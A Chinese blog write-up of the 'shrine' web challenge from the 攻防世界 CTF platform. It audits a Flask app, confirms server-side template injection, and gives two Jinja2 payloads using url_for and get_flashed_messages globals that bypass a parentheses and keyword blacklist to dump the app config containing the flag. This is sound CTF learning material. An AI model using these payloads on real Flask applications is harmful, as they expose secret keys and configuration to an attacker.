攻防世界web进阶区shrine

博客介绍了在攻防世界Web进阶区的Shrine挑战中,通过代码审计发现可能存在的模板注入漏洞。利用 SSTI (Server-Side Template Injection) 进行尝试,发现过滤了括号并禁用了某些函数。通过研究大佬的解决方法,使用 `url_for` 和 `get_flashed_messages` 内置函数绕过过滤,成功获取配置信息。博客提到了 Flask 框架的相关知识和利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开链接,查看源码

在这里插入图片描述
代码审计

看见了flask,考虑模板注入,@app.route后跟着路径,还有一部分过滤

试一下

/shrine/{{1+1}},回显为2,确实是ssti

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个config,flag应该就在这里面,本来可以直接查看{{config}},但后面代码存在过滤

def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

过滤了()括号,将config,self两个函数加入黑名单,并遍历为空
看了下大佬的wp,python还有一些内置函数,url_for和get_flashed_messages,我两个都做一下,查看config

1,payload:
/shrine/{{url_for.__globals__['current_app'].config}}
在这里插入图片描述
2,get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

payload:

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

在这里插入图片描述
知识点:flask框架模板注入ssti

参考文章:https://www.cnblogs.com/echoDetected/p/12905261.html

2020.7.31 公瑾

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值